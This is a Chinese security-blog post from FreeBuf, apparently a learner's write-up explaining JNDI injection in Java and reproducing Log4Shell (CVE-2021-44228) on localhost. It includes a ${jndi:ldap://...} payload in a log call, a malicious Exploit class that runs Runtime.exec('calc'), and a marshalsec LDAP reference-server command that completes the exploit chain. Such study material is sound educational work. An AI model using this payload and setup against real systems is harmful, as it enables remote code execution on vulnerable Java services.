freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Java安全之jndi注入
J1ngyu 2022-05-14 12:54:37 232275
所属地 四川省

前言

小弟最近在学习java代码审计,写这篇文章的目的呢是记录下自己的学习过程,如果文章中有哪些地方不对的话还请大佬们多多斧正。

JNDI介绍

简单来说呢,JNDI相当与是Java里面的一个api,它可以通过命名来查找数据和对象。

下面是官方的解释:

JNDI是Java Naming and Directory Interface(JAVA命名和目录接口)的英文简写,它是为JAVA应用程序提供命名和目录访问服务的API(Application Programing Interface,应用程序编程接口)。

深入理解

JNDI中有两个方法:

  • bind()
  • lookup()

其中:bind()方法的作用是将名称绑定到对象里面,lookup()方法的作用是通过名字检索执行的对象,其中当lookup()方法的参数可控时,攻击者就可以将恶意的url传入参数加载恶意的类。

下面是JNDI cilent端漏洞代码:

Context ctx = new InitialContext();
ctx.lookup(url);

其中url参数可控,攻击者就可以构造payload:rmi://127.0.0.1:xxxx/payload 来加载恶意的类。

payload中看到了rmi,翻阅资料后对与RMI的解释是:RMI是一个基于序列化的Java远程方法调用机制,使用 RMI技术可以使一个 JVM中的对象,调用另一个 JVM 中的对象方法并获取调用结果。

简单理解应该就是可以通过cilent端远程访问服务端的类吧。


这里要构造恶意的RMI服务端,不得不了解新的知识:


在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过References类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。

经典漏洞复现

这里小弟选择的是Apache log4j(CVE-2021-44228)来进行漏洞复现

漏洞代码如下:

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class Poc {
    private static final Logger log = LogManager.getLogger();
    public static void main(String[] args) {
        log.error("${jndi:rmi://127.0.0.1:xxxx/xxxx}");
    }
}

编译一个恶意类j1ngyu.class

先在本地编写一个恶意java文件:

class Exploit {
    static {
        System.err.println("err");
        try {
            String cmds = "calc";
            Runtime.getRuntime().exec(cmds);
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
}

这个恶意文件就是用exec()打开计算机

下一步在本地开启一个ldap服务,

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:7777/#Exploit" 8888

再运行上面的漏洞代码:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
class LogTest {
  public static final Logger logger = LogManager.getLogger();
  public static void main(String[] args) {
    logger.error("${jndi:ldap://xxxx:8888/j1ngyu}");
  }

这样恶意类就执行成功了。

1652529093_627f97c528bc1d84f68f3.png!small?1652529094593

结束语

这次JNDI注入学习还有很多地方没有理解到位,希望大佬们能够多多斧正。

# 渗透测试 # 黑客 # 漏洞分析 # 网络安全技术
本文为 J1ngyu 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
J1ngyu LV.3
这家伙太懒了,还未填写个人描述!
  • 7 文章数
  • 5 关注者
DLL注入实现方式(附源码)
2023-12-26
脱钩实现免杀
2023-12-26
别太小看"静态免杀"
2023-12-26
文章目录